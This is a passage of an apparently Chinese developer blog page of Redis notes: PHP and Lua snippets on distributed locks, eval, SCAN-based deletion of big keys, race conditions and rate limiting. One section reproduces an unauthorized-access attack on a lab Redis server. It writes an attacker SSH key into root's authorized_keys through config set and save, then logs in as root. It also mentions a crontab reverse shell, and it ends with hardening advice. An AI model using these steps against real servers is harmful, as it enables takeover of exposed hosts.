class="keyword">this</span>-&gt;getCon()-&gt;exec();</span><br><span class="line">$ret = $<span class="keyword">this</span>-&gt;getCon()-&gt;set($key,<span class="number">1</span>,array(<span class="string">'nx'</span>,<span class="string">'ex'</span>=&gt;self::EXP_TIME));</span><br><span class="line"><span class="keyword">if</span>(<span class="number">1</span> == $ret)&#123;</span><br><span class="line">    <span class="keyword">do</span> something...</span><br><span class="line">    $<span class="keyword">this</span>-&gt;getCon()-&gt;del($key);</span><br><span class="line">&#125;</span><br><span class="line">$ret = $<span class="keyword">this</span>-&gt;getCon()-&gt;set($key,$random,array(<span class="string">'nx'</span>,<span class="string">'ex'</span>=&gt;self::EXP_TIME));</span><br><span class="line"><span class="keyword">if</span>(<span class="number">1</span> == $ret)&#123;</span><br><span class="line">    <span class="keyword">do</span> something...</span><br><span class="line">    <span class="keyword">if</span>($random == $<span class="keyword">this</span>-&gt;getCon()-&gt;get($key))&#123;</span><br><span class="line">        $<span class="keyword">this</span>-&gt;getCon()-&gt;del($key);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">if</span> redis.call(<span class="string">"get"</span>,KEYS[<span class="number">1</span>]) == ARGV[<span class="number">1</span>] then</span><br><span class="line">    <span class="keyword">return</span> redis.call(<span class="string">"del"</span>,KEYS[<span class="number">1</span>])</span><br><span class="line"><span class="keyword">else</span></span><br><span class="line">    <span class="keyword">return</span> <span class="number">0</span></span><br><span class="line">end</span><br><span class="line">https:<span class="comment">//bettercuicui.github.io/2018/04/01/REDIS/%E5%9F%BA%E4%BA%8Eredis%E5%AE%9E%E7%8E%B0%E5%88%86%E5%B8%83%E5%BC%8F%E9%94%81/</span></span><br></pre></td></tr></table></figure>
<h3 id="Redis-使用-lua-脚本"><a href="#Redis-使用-lua-脚本" class="headerlink" title="Redis 使用 lua 脚本"></a>Redis 使用 lua 脚本</h3><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br></pre></td><td class="code"><pre><span class="line">减少网络开销，一个脚本包含多个命令</span><br><span class="line">原子操作， redis 是单线程的，Redis 的 API 是原子性的操作，所以一个脚本在 Redis 里面是作为一个整体执行，中途不会被插入其他操作，脚本本身就是事务，更简单，速度更快</span><br><span class="line">可复用，客户端发送的脚步会永久存在 redis 中，这样，其他客户端可以复用这一脚本而不需要使用代码完成相同的逻辑</span><br><span class="line"># KEYS和ARGV中间的 ',' 两边的空格，不能省略。 </span><br><span class="line">Redis-cli -h address -p port --<span class="built_in">eval</span> path/to/redis.lua KEYS[<span class="number">1</span>] KEYS[<span class="number">2</span>] , ARGV[<span class="number">1</span>] ARGV[<span class="number">2</span>] </span><br><span class="line"></span><br><span class="line">$redisHost = <span class="string">'127.0.0.1'</span>;</span><br><span class="line">$redisPort = <span class="number">6379</span>;</span><br><span class="line"><span class="comment">//实例化redis类</span></span><br><span class="line">$redis = <span class="keyword">new</span> Redis();</span><br><span class="line">$redis-&gt;connect($redisHost, $redisPort);</span><br><span class="line">$lua = &lt;&lt;&lt;SCRIPT</span><br><span class="line">      return &#123;KEYS[1],KEYS[2],ARGV[1],ARGV[2]&#125;</span><br><span class="line">SCRIPT;</span><br><span class="line">//对应的redis命令如下 eval "return &#123;KEYS[1],KEYS[2],ARGV[1],ARGV[2]&#125;" 2 key1 key2 first second</span><br><span class="line">//2表示KEYS的值为前2个，剩下的参数为ARGV</span><br><span class="line">$s = $redis-&gt;eval($lua,array('key1','key2','first','second'),2);</span><br><span class="line">var_dump($s);</span><br><span class="line">https://learnku.com/articles/37766</span><br></pre></td></tr></table></figure>
<h3 id="redis未授权-amp-弱密码漏洞复现和防护"><a href="#redis未授权-amp-弱密码漏洞复现和防护" class="headerlink" title="redis未授权&amp;弱密码漏洞复现和防护"></a>redis未授权&amp;弱密码漏洞复现和防护</h3><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br></pre></td><td class="code"><pre><span class="line">vi /etc/redis/redis.conf，注释掉bind <span class="number">127.0</span><span class="number">.0</span><span class="number">.1</span> ::<span class="number">1</span>即让redis监听所有网段</span><br><span class="line">$ redis-cli -h <span class="number">192.168</span><span class="number">.99</span><span class="number">.100</span></span><br><span class="line"><span class="number">192.168</span><span class="number">.99</span><span class="number">.100</span>:<span class="number">6379</span>&gt; info</span><br><span class="line">写ssh公钥实现远程登陆</span><br><span class="line"></span><br><span class="line">首先生产密钥对：</span><br><span class="line"> </span><br><span class="line">ssh-keygen -t rsa</span><br><span class="line">将公钥制作成上传文件：</span><br><span class="line"> </span><br><span class="line">(echo -e <span class="string">"\n\n\n"</span>; cat ~<span class="regexp">/.ssh/i</span>d_rsa.pub; echo -e <span class="string">"\n\n\n"</span>) &gt; upload.txt</span><br><span class="line">将上传文件保存在redis-cli的临时变量中：</span><br><span class="line"> </span><br><span class="line">cat ~<span class="regexp">/upload.txt | redis-cli -h 192.168.99.100 -x set tmp</span></span><br><span class="line"><span class="regexp">连接redis，将tmp变量的内容写入/</span>root/.ssh/authorized_keys:</span><br><span class="line"></span><br><span class="line"> </span><br><span class="line">redis-cli -h <span class="number">192.168</span><span class="number">.99</span><span class="number">.100</span></span><br><span class="line">config set dir /root/.ssh</span><br><span class="line">config set dbfilename authorized_keys</span><br><span class="line">get tmp</span><br><span class="line">save</span><br><span class="line">接着使用私钥即可登陆靶机：</span><br><span class="line"> </span><br><span class="line">ssh -i ~<span class="regexp">/.ssh/i</span>d_rsa root@<span class="number">192.168</span><span class="number">.99</span><span class="number">.100</span></span><br><span class="line"></span><br><span class="line">写crontab文件反弹shell</span><br><span class="line"></span><br><span class="line">crontab跟ssh差不多，但是笔者再ubuntu18<span class="number">.04</span>中复现失败，原因是写入的crontab文件存在redis的一些字符，导致格式不正确</span><br><span class="line">使用apt install redis-server的方式安装，并且使用service redis start启动redis，这样redis会在一个低权限用户下运行</span><br><span class="line">[root@VM_0_11_centos ~]# ps -ef |grep redis</span><br><span class="line">redis     <span class="number">2538</span>     <span class="number">1</span>  <span class="number">0</span> Nov14 ?        <span class="number">00</span>:<span class="number">25</span>:<span class="number">57</span> /usr/bin/redis-server <span class="number">127.0</span><span class="number">.0</span><span class="number">.1</span>:<span class="number">6379</span></span><br><span class="line">root     <span class="number">16915</span>  <span class="number">8467</span>  <span class="number">0</span> <span class="number">11</span>:<span class="number">06</span> pts/<span class="number">0</span>    <span class="number">00</span>:<span class="number">00</span>:<span class="number">00</span> grep --color=auto redis</span><br><span class="line"></span><br><span class="line">若必须以root身份运行，为redis设置一定强度的密码（实际复现中我们可以发现，新版redis在以root运行，不设置密码的情况下会启动保护模式，只允许本地cli）</span><br><span class="line">定时检查redis日志</span><br><span class="line">cat /etc/redis.conf |grep logfile</span><br><span class="line">logfile /<span class="keyword">var</span>/log/redis/redis.log</span><br><span class="line">[root@VM_0_11_centos ~]# more /var/log/redis/redis.log</span><br><span class="line">https:<span class="comment">//anemone.top/%E7%BB%84%E4%BB%B6-redis%E6%9C%AA%E6%8E%88%E6%9D%83-%E5%BC%B1%E5%AF%86%E7%A0%81%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0%E5%92%8C%E9%98%B2%E6%8A%A4/</span></span><br></pre></td></tr></table></figure>
<h3 id="删除大key"><a href="#删除大key" class="headerlink" title="删除大key"></a>删除大key</h3><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br></pre></td><td class="code"><pre><span class="line"></span><br><span class="line">vendor/predis/predis/src/Collection/Iterator/Keyspace.php:<span class="number">22</span></span><br><span class="line">laravel predis   https:<span class="comment">//github.com/nrk/predis/blob/v1.0/examples/redis_collections_iterators.php</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">for</span> ($i = <span class="number">0</span>; $i &lt; <span class="number">5</span>; ++$i) &#123;</span><br><span class="line">    $client-&gt;sadd(<span class="string">'predis:set'</span>, <span class="string">"member:$i"</span>);</span><br><span class="line">    $client-&gt;zadd(<span class="string">'predis:zset'</span>, -$i, <span class="string">"member:$i"</span>);</span><br><span class="line">    $client-&gt;hset(<span class="string">'predis:hash'</span>, <span class="string">"field:$i"</span>, <span class="string">"value:$i"</span>);</span><br><span class="line">&#125;</span><br><span class="line"><span class="comment">// === Keyspace iterator based on SCAN ===</span></span><br><span class="line">echo <span class="string">'Scan the keyspace matching only our prefixed keys:'</span>, PHP_EOL;</span><br><span class="line">foreach (<span class="keyword">new</span> Iterator\Keyspace($client, <span class="string">'predis:*'</span>) <span class="keyword">as</span> $key) &#123;</span><br><span class="line">    echo <span class="string">" - $key"</span>, PHP_EOL;$client-&gt;del($key);</span><br><span class="line">&#125;</span><br><span class="line"><span class="comment">/* OUTPUT</span></span><br><span class="line"><span class="comment">Scan the keyspace matching only our prefixed keys:</span></span><br><span class="line"><span class="comment"> - predis:zset</span></span><br><span class="line"><span class="comment"> - predis:set</span></span><br><span class="line"><span class="comment"> - predis:hash</span></span><br><span class="line"><span class="comment">*/</span></span><br><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">scanAllForMatch</span> (<span class="params">$pattern, $cursor=null, $allResults=array(</span>)) </span>&#123;</span><br><span class="line"></span><br><span class="line">    <span class="comment">// Zero means full iteration</span></span><br><span class="line">    <span class="keyword">if</span> ($cursor===<span class="string">"0"</span>) &#123;</span><br><span class="line">        <span class="keyword">return</span> $allResults;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="comment">// No $cursor means init</span></span><br><span class="line">    <span class="keyword">if</span> ($cursor===<span class="literal">null</span>) &#123;</span><br><span class="line">        $cursor = <span class="string">"0"</span>;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="comment">// The call</span></span><br><span class="line">    $result = Redis::scan($cursor, <span class="string">'match'</span>, $pattern);</span><br><span class="line"></span><br><span class="line">    <span class="comment">// Append results to array</span></span><br><span class="line">    $allResults = array_merge($allResults, $result[<span class="number">1</span>]);</span><br><span class="line"></span><br><span class="line">    <span class="comment">// Recursive call until cursor is 0</span></span><br><span class="line">    <span class="keyword">return</span> scanAllForMatch($pattern, $result[<span class="number">0</span>], $allResults);</span><br><span class="line">&#125;</span><br><span class="line">$allResults = scanAllForMatch(<span class="string">'*keypattern*'</span>);https:<span class="comment">//stackoverflow.com/questions/35477172/laravel-and-redis-scan</span></span><br><span class="line">$redis-&gt;pconnect($redisConf[<span class="number">0</span>], $redisConf[<span class="number">1</span>], $timeout);</span><br><span class="line">    <span class="comment">//默认SCAN_NORETRY情况下有可能会返回空数组，设置成SCAN_RETRY，如果是空数组的话，将不返回继续扫描下去</span></span><br><span class="line">    $redis-&gt;setOption(\Redis::OPT_SCAN, \Redis::SCAN_RETRY);</span><br><span class="line">    $it = NULL;</span><br><span class="line">    <span class="keyword">while</span> ($arr_keys = $redis-&gt;scan($it, <span class="attr">CacheKeyConfig</span>::CachePre.<span class="string">'*'</span>)) &#123;</span><br><span class="line">        <span class="keyword">if</span> (is_array($arr_keys)) &#123;</span><br><span class="line">            <span class="comment">//推荐使用unlink函数，非阻塞删除，删除大key时很好用，但是它需要redis版本&gt;=4.0</span></span><br><span class="line">            $result = $redis-&gt;del($arr_keys);</span><br><span class="line">                echo $result . PHP_EOL;</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line"> </span><br><span class="line">链接：https:<span class="comment">//juejin.im/post/5cf4e52e6fb9a07ecd3d46fe</span></span><br><span class="line"> $it = NULL;</span><br><span class="line"> <span class="keyword">while</span>($arr_keys = $redis-&gt;scan($it, <span class="string">"mykey:*"</span>, <span class="number">10000</span>)) &#123;</span><br><span class="line">     foreach($arr_keys <span class="keyword">as</span> $str_key) &#123;</span><br><span class="line">         echo <span class="string">"Here is a key: $str_key\n"</span>;</span><br><span class="line">     &#125;</span><br><span class="line"> &#125;</span><br><span class="line"> $pattern_arr=[];</span><br><span class="line">         $pattern_arr[<span class="string">'COUNT'</span>] = <span class="number">10</span>;</span><br><span class="line"> $cursor = <span class="literal">null</span>;$i=<span class="number">0</span>;</span><br><span class="line">         <span class="keyword">while</span>($cursor !== <span class="number">0</span>)&#123;</span><br><span class="line">             <span class="comment">// 命令位置 vendor\predis\predis\src\Command\HashScan.php</span></span><br><span class="line">             $info = $redis-&gt;hscan(<span class="string">'news:all'</span>, $cursor, $pattern_arr);</span><br><span class="line">             $cursor = intval($info[<span class="number">0</span>]);dump(count($info[<span class="number">1</span>]));</span><br><span class="line">             $list = $info[<span class="number">1</span>] ?$info[<span class="number">1</span>]: [];$i++;</span><br><span class="line">             <span class="keyword">if</span>($list)&#123;</span><br><span class="line">                 $del_field = [];</span><br><span class="line">                 foreach($list <span class="keyword">as</span> $field=&gt;$v)&#123;</span><br><span class="line">                     $del_field[] = $field;</span><br><span class="line">                 &#125;</span><br><span class="line">                 dump(count($del_field),$i);</span><br><span class="line">                 $redis-&gt;hdel(<span class="string">'news:all'</span>, $del_field);</span><br><span class="line">                 <span class="keyword">if</span> ($i &gt; <span class="number">100</span>) &#123;</span><br><span class="line">                     <span class="keyword">break</span>;</span><br><span class="line">                 &#125;</span><br><span class="line">             &#125;</span><br><span class="line">         &#125;</span><br><span class="line"> $cursor = <span class="number">0</span>;$i=<span class="number">0</span>;</span><br><span class="line"> <span class="keyword">do</span></span><br><span class="line">         &#123;</span><br><span class="line"> <span class="comment">//            $arr_keys = $redis-&gt;scan($it, 'app:read:news:uuid:*', $pattern_arr);</span></span><br><span class="line">             $arr_keys = $redis-&gt;scan($cursor, <span class="string">'match'</span>, <span class="string">'app:read:news:uuid:*'</span>);dump($arr_keys);</span><br><span class="line">             <span class="keyword">if</span> (is_array($arr_keys) &amp;&amp; !empty($arr_keys))</span><br><span class="line">             &#123;</span><br><span class="line">                 foreach ($arr_keys <span class="keyword">as</span> $str_key)</span><br><span class="line">                 &#123;</span><br><span class="line">                     dump($str_key);</span><br><span class="line">                 &#125;</span><br><span class="line">             &#125;</span><br><span class="line">         &#125; <span class="keyword">while</span> ($arr_keys !== <span class="literal">false</span>);</span><br><span class="line"> http:<span class="comment">//doc.redisfans.com/key/scan.html</span></span><br></pre></td></tr></table></figure>
<h3 id="redis中的并发问题"><a href="#redis中的并发问题" class="headerlink" title="redis中的并发问题"></a>redis中的并发问题</h3><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">require</span> <span class="string">"vendor/autoload.php"</span>;</span><br><span class="line"><span class="comment">//https://www.cnblogs.com/iforever/p/5796902.html</span></span><br><span class="line">$client = <span class="keyword">new</span> Predis\Client([</span><br><span class="line">    <span class="string">'scheme'</span> =&gt; <span class="string">'tcp'</span>,</span><br><span class="line">    <span class="string">'host'</span> =&gt; <span class="string">'127.0.0.1'</span>,</span><br><span class="line">    <span class="string">'port'</span> =&gt; <span class="number">6379</span>,</span><br><span class="line">]);</span><br><span class="line"></span><br><span class="line"><span class="keyword">for</span> ($i = <span class="number">0</span>; $i &lt; <span class="number">1000</span>; $i++) &#123;</span><br><span class="line">    $num = intval($client-&gt;get(<span class="string">"name"</span>));</span><br><span class="line">    $num = $num + <span class="number">1</span>;</span><br><span class="line">    $client-&gt;setex(<span class="string">"name"</span>, $num, <span class="number">10080</span>);</span><br><span class="line">    usleep(<span class="number">10000</span>);</span><br><span class="line">&#125;</span><br><span class="line">设置name初始值为<span class="number">0</span>，然后同时用两个终端执行上面的程序，最后name的值可能不是<span class="number">2000</span>，而是一个&lt;<span class="number">2000</span>的值，这也就证明了我们上面的并发问题的存在</span><br><span class="line">redis中命令是满足原子性的，因此在值为阿拉伯数字的时候，我可以将get和set命令修改为incr或者incrby</span><br><span class="line"><span class="keyword">for</span> ($i = <span class="number">0</span>; $i &lt; <span class="number">1000</span>; $i++) &#123;</span><br><span class="line">    $client-&gt;incr(<span class="string">"name"</span>);</span><br><span class="line">    $client-&gt;expire(<span class="string">"name"</span>, <span class="number">10800</span>);</span><br><span class="line">    usleep(<span class="number">10000</span>);</span><br><span class="line">&#125;</span><br><span class="line">非数字那只能用watch、multi、exec了</span><br><span class="line"></span><br><span class="line"><span class="number">1</span>）setnx(lockkey, 当前时间+过期超时时间) ，如果返回<span class="number">1</span>，则获取锁成功；如果返回<span class="number">0</span>则没有获取到锁，转向<span class="number">2</span>。</span><br><span class="line"><span class="number">2.</span>）get(lockkey)获取值oldExpireTime ，并将这个value值与当前的系统时间进行比较，如果小于当前系统时间，则认为这个锁已经超时，可以允许别的请求重新获取，转向<span class="number">3</span>。</span><br><span class="line"><span class="number">3.</span>）计算newExpireTime=当前时间+过期超时时间，然后getset(lockkey, newExpireTime) 会返回当前lockkey的值currentExpireTime。</span><br><span class="line"><span class="number">4.</span>）判断currentExpireTime与oldExpireTime 是否相等，如果相等，说明当前getset设置成功，获取到了锁。如果不相等，说明这个锁又被别的请求获取走了，那么当前请求可以直接返回失败，或者继续重试。</span><br><span class="line"><span class="number">5</span>） 在获取到锁之后，当前线程可以开始做自增操作，当处理完毕后，比较自己的处理时间和对于锁设置的超时时间，如果小于锁设置的超时时间，则直接执行<span class="keyword">delete</span>释放锁；如果大于锁设置的超时时间，则不需要再锁进行处理</span><br></pre></td></tr></table></figure>
<h3 id="Redis-使用-Lua-脚本替代-SETNX-DECR-保证原子性"><a href="#Redis-使用-Lua-脚本替代-SETNX-DECR-保证原子性" class="headerlink" title="Redis 使用 Lua 脚本替代 SETNX / DECR 保证原子性"></a>Redis 使用 Lua 脚本替代 SETNX / DECR 保证原子性</h3><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br></pre></td><td class="code"><pre><span class="line">   <span class="comment">/**</span></span><br><span class="line"><span class="comment">     * TRUE: 触发限流，FALSE：未触发限流</span></span><br><span class="line"><span class="comment">     */</span></span><br><span class="line">    public <span class="function"><span class="keyword">function</span> <span class="title">acquire</span>(<span class="params"></span>) </span>&#123;</span><br><span class="line">        <span class="keyword">try</span> &#123;</span><br><span class="line">            $redisHandler = $<span class="keyword">this</span>-&gt;redisInstance-&gt;getHandler();</span><br><span class="line">            $redisHandler-&gt;set($<span class="keyword">this</span>-&gt;rateLimitKey, $<span class="keyword">this</span>-&gt;tokenNum, [<span class="string">'nx'</span>, <span class="string">'ex'</span> =&gt; $<span class="keyword">this</span>-&gt;expireTime]);</span><br><span class="line">            $leftTokenNum = $redisHandler-&gt;decr($<span class="keyword">this</span>-&gt;rateLimitKey);</span><br><span class="line">            <span class="keyword">if</span> ($leftTokenNum &lt; <span class="number">0</span>) &#123;</span><br><span class="line">                <span class="keyword">return</span> TRUE;</span><br><span class="line">            &#125;</span><br><span class="line">            <span class="keyword">return</span> FALSE;</span><br><span class="line">        &#125; <span class="keyword">catch</span> (\Exception $e) &#123;</span><br><span class="line">            <span class="keyword">return</span> FALSE;</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">  使用 redis 来起到一个限流的作用，<span class="number">1</span> 秒钟只允许 <span class="number">1</span> 人购买</span><br><span class="line">  $redis-&gt;set(<span class="string">'key'</span>, <span class="string">'1'</span>, [<span class="string">'nx'</span>, <span class="string">'ex'</span>=&gt;<span class="number">1</span>]); 命令，设置值为 <span class="number">1</span> 过期时间为 <span class="number">1</span> 秒的计数器，基于该计数器的扣减来达到 <span class="number">1</span> 秒钟放行 <span class="number">1</span> 个请求的目的。</span><br><span class="line">    </span><br><span class="line">    $key = <span class="string">'test_redis_key'</span>;</span><br><span class="line">    $redis-&gt;set($key, <span class="string">'1'</span>, [<span class="string">'nx'</span>, <span class="string">'ex'</span> =&gt; <span class="number">1</span>]);</span><br><span class="line">    $left = $redis-&gt;decr($key);</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">if</span> ($left &lt; <span class="number">0</span>) &#123;</span><br><span class="line">      <span class="comment">// 这里通过状态码来更方便的观察</span></span><br><span class="line">      header(<span class="string">'Is-Limited:1'</span>, <span class="literal">true</span>, <span class="number">500</span>);</span><br><span class="line">    &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">      header(<span class="string">'Is-Limited:0'</span>, <span class="literal">true</span>, <span class="number">200</span>);</span><br><span class="line">    &#125;</span><br><span class="line">    在 Redis key 未过期之前，DECR 命令都是正常扣减的。一旦 key 过期了，再执行 DECR 命令，会发现 key 的值和过期时间都变为 <span class="number">-1</span> 了。</span><br><span class="line">假设在第一句 SETNX 之后第二句 DECR 之前，key 过期了，再执行 DECR 就会先生成一个永不过期值为 <span class="number">0</span> 的 key。</span><br><span class="line"></span><br><span class="line">之后所有请求的 SETNX 都是 fasle，一直会基于这个永不过期的 key 进行递减，所有的 $leftTokenNum 都小于 <span class="number">0</span>，因此导致所有请求被限流。</span><br><span class="line"></span><br><span class="line">$key = <span class="string">'test_redis_key'</span>;</span><br><span class="line">$redis-&gt;set($key, <span class="string">'3'</span>, [<span class="string">'nx'</span>, <span class="string">'px'</span> =&gt; <span class="number">5</span>]); <span class="comment">// key 设置成 5 毫秒过期</span></span><br><span class="line">$left = $redis-&gt;decr($key);</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> ($left &lt; <span class="number">0</span>) &#123;</span><br><span class="line">  <span class="comment">// 这里通过状态码来更方便的观察</span></span><br><span class="line">  header(<span class="string">'Is-Limited:1'</span>, <span class="literal">true</span>, <span class="number">500</span>);</span><br><span class="line">&#125; <span class="keyword">else</span> &#123;</span><br><span class="line">  header(<span class="string">'Is-Limited:0'</span>, <span class="literal">true</span>, <span class="number">200</span>);</span><br><span class="line">&#125;</span><br><span class="line">&gt; <span class="built_in">eval</span> <span class="string">"return &#123;KEYS[1],KEYS[2],ARGV[1],ARGV[2]&#125;"</span> <span class="number">2</span> key1 key2 first second</span><br><span class="line"><span class="number">1</span>) <span class="string">"key1"</span></span><br><span class="line"><span class="number">2</span>) <span class="string">"key2"</span></span><br><span class="line"><span class="number">3</span>) <span class="string">"first"</span></span><br><span class="line"><span class="number">4</span>) <span class="string">"second"</span></span><br><span class="line"></span><br><span class="line"> $key = <span class="string">'test_redis_key1'</span>;</span><br><span class="line"></span><br><span class="line">        $script = &lt;&lt;&lt;LUA</span><br><span class="line">local max = tonumber(ARGV[1])</span><br><span class="line">local interval_milliseconds = tonumber(ARGV[2])</span><br><span class="line">local current = tonumber(redis.call('get', KEYS[1]) or 0)</span><br><span class="line"></span><br><span class="line">if (current + 1 &gt; max) then</span><br><span class="line">    return true</span><br><span class="line">else</span><br><span class="line">    redis.call('incrby', KEYS[1], 1)</span><br><span class="line">    if (current == 0) then</span><br><span class="line">        redis.call('pexpire', KEYS[1], interval_milliseconds)</span><br><span class="line">    end</span><br><span class="line">    return false</span><br><span class="line">end</span><br><span class="line">LUA;</span><br><span class="line"></span><br><span class="line">        $redis-&gt;script('load', $script);</span><br><span class="line">        $isLimited = $redis-&gt;eval($script, [$key, 1, 5], 1); // key 5 毫秒过期</span><br><span class="line"></span><br><span class="line">        if ($isLimited) &#123;</span><br><span class="line">            header('Is-Limited:1', true, 500);</span><br><span class="line">        &#125; else &#123;</span><br><span class="line">            header('Is-Limited:0', true, 200);</span><br><span class="line">        &#125;</span><br><span class="line">        Redis 中 DECR 一个不存在的 key 会先把 key 值设置为 0 , TTL 设置为 -1 (永不过期)，再进行减 1 操作。</span><br><span class="line">        使用 SETNX 配合 DECR 实现限流，会出现 key 永不过期情况。过期时间比较小或者高并发情况下，发生概率更高。</span><br><span class="line">        在 Redis 中执行 Lua 脚本是原子操作。</span><br><span class="line">        可以通过 Redis + Lua 实现高并发下的限流。https://learnku.com/articles/39265</span><br></pre></td></tr></table></figure>
<p><a href="https://github.com/uuk020/redis-reference-manual" target="_blank" rel="noopener">Redis 使用手册 PHP 代码实现</a></p>
<p><a href="https://learnku.com/articles/25892" target="_blank" rel="noopener">Redis 中 Keys 与 Scan 的使用</a></p>
<p><a href="https://learnku.com/articles/38228" target="_blank" rel="noopener">Redis 命令大全</a></p>
<p><a href="https://juejin.im/post/5bcfd17ff265da0ae50550f2" target="_blank" rel="noopener">Redis 命令行工具的妙用</a></p>
